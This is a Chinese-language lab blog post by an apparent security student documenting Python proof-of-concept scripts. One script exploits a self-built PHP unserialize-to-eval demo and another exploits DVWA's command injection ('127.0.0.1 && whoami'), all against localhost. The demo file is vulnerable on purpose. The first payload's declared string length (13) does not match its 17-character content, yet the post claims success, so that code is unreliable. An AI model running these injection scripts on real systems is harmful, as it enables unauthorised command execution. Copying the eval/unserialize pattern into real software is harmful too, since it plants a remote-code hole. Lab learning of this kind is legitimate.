一、前言
 

声明:本文所有实验均在本地授权靶场环境(含自建PHP漏洞Demo与DVWA公开安全靶场)中完成,仅用于网络安全技术学习与研究,未涉及任何真实公开漏洞的利用,不包含可被直接用于非法攻击的Payload或工具。

文中涉及的命令注入、PHP反序列化漏洞均为DVWA靶场自带的低级别教学漏洞,无公开CVE/CNVD编号,仅用于自动化渗透测试脚本的开发与验证。


作为一名网安方向的大专生,为了让简历上“基于Python实现自动化POC脚本开发”这段经历真实可落地,我从零开始,完整实践了从基础漏洞Demo到真实靶场自动化利用的全过程。本文将记录我的完整操作,为同方向的初学者提供可直接复现的参考。

环境准备:- Python 3.10+环境

                  - requests库(pip install requests即可安装)

这里已经安装完成


 
二、第一阶段:从零搭建PHP反序列化漏洞Demo


这是我整个项目的起点,也是我写的第一个POC脚本的验证环境。


 
2.1 漏洞环境搭建


 
我用 phpStudy 快速搭建了PHP+Apache环境,然后在www网站根目录下创建了一个名为  evil.php  的漏洞文件:

  
<?php
class Demo{
    public $cmd;
    function __destruct(){
        eval($this->cmd);
    }
}

$data = $_GET['data'];
unserialize($data);
?>
 
 
这个Demo模拟了一个典型的PHP反序列化漏洞,当接收到恶意构造的序列化字符串时,会自动执行 eval 函数里的命令。
 


2.2 编写自动化POC验证脚本

 
为了验证这个漏洞,我写了第一个Python脚本  poc.py ,它能自动构造序列化Payload并发送请求:


  
import requests

# 目标地址
url = "http://127.0.0.1/test/evil.php"

# 构造序列化Payload(执行系统命令)
payload = 'O:4:"Demo":1:{s:3:"cmd";s:13:"system(\'whoami\');";}'

# 拼接带参数的URL
target = url + "?data=" + payload

print("===== 自动化POC开始 =====")
print("目标:", url)
print("Payload:", payload)

try:
    r = requests.get(target, timeout=3)
    print("\n===== 执行结果 =====")
    print("状态码:", r.status_code)
    print("回显内容:")
    print(r.text)
    print("\n✅ 漏洞利用成功!远程命令执行成功!")
except Exception as e:
    print("❌ 失败", e)
 
 
运行这个脚本后,成功触发了漏洞,证明了我可以通过Python脚本实现对PHP反序列化漏洞的自动化验证。


 
 
 
三、第二阶段:进阶实践——DVWA靶场命令注入自动化利用


 
为了让项目更接近实战,我把脚本应用到了标准的安全靶场DVWA中,实现了对命令注入漏洞的自动化利用。
 


3.1 DVWA环境搭建与准备


 
1. 我将DVWA解压到了 phpStudy 的网站根目录下,访问 http://127.0.0.1/DVWA-2.3 完成初始化。

(这里我使用的是phpstudy2018版的,大家如果已经安装了小皮或者更高版本用自己的即可)


2. 登录DVWA后,将安全级别设置为 Low ,并进入 Command Injection 模块。


3. 关键一步:通过浏览器开发者工具,获取了登录会话的Cookie,

格式如下:plaintext
  PHPSESSID=个人会话ID; security=low
 


 
3.2 编写DVWA自动化利用脚本


基于之前的经验,我写了第二个更完善的Python脚本  dvwa_poc.py ,专门用于自动化利用DVWA的命令注入漏洞:


  
import requests

# ===================== 我的配置 =====================
DVWA_ROOT = "http://127.0.0.1/DVWA-2.3"
DVWA_COOKIE = "PHPSESSID=个人会话ID; security=low"
CMD_TO_EXECUTE = "whoami"
# ====================================================

def dvwa_command_injection():
    target_url = f"{DVWA_ROOT}/vulnerabilities/exec/"
    
    headers = {
        "Cookie": DVWA_COOKIE,
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
    }
    
    data = {
        "ip": f"127.0.0.1 && {CMD_TO_EXECUTE}",
        "Submit": "Submit"
    }

    print("===== DVWA 命令注入自动化POC =====")
    print(f"目标地址:{target_url}")
    print(f"要执行的命令:{CMD_TO_EXECUTE}")
    print("-" * 50)

    try:
        response = requests.post(
            target_url,
            headers=headers,
            data=data,
            timeout=10,
            allow_redirects=False
        )
        
        print(f"[+] 请求状态码:{response.status_code}")
        print("\n[+] 服务器响应内容(前1000字符):")
        print(response.text[:1000])

        if CMD_TO_EXECUTE in response.text or "127.0.0.1" in response.text:
            print("\n✅ 漏洞利用成功!命令已执行!")
        else:
            print("\n[!] 请检查Cookie和URL配置是否正确。")

    except Exception as e:
        print(f"❌ 请求失败:{str(e)}")

if __name__ == "__main__":
    dvwa_command_injection()
 
 


3.3 运行与验证


 
脚本运行后,状态码返回 200 ,并成功输出了「漏洞利用成功!命令已执行!」,证明我的自动化脚本成功在标准靶场中利用了命令注入漏洞。
 
 


 
四、踩坑记录与问题解决


 
在实践过程中,我也遇到了不少问题,这里记录下来给大家避坑:
 
1. URL路径错误:早期因为路径拼接错误导致`302重定向死循环,修正后使用根目录拼接靶场路径解决问题。
2. Cookie过期问题:DVWA的会话Cookie会定时失效,必须在运行脚本前获取最新值。


3. PHP环境警告:遇到的 Array to string conversion 警告是DVWA旧版本代码问题,不影响漏洞利用的核心逻辑。
 


 
 
五、项目总结


 
通过这次完整的实践,我从零基础到实战,掌握了:
 
- 基于Python的 requests 库编写自动化POC脚本的完整流程
- PHP反序列化和命令注入漏洞的原理与自动化利用方法
- Cookie伪造、会话维持等Web渗透测试基础技术
- 本地靶场环境搭建与漏洞验证的方法
 
声明:本文所有内容均为Python安全工具开发与自动化测试技术学习记录,所有实验均在本地授权测试环境(含自建PHP测试环境与DVWA公开教学靶场)中完成,仅用于学习HTTP请求构造、会话维持、响应解析等Web安全开发技术,未涉及任何真实公开漏洞的利用,不包含可被直接用于非法用途的代码或工具。未经他人授权允许,严禁进行任何形式的网络安全行为。
 

更多推荐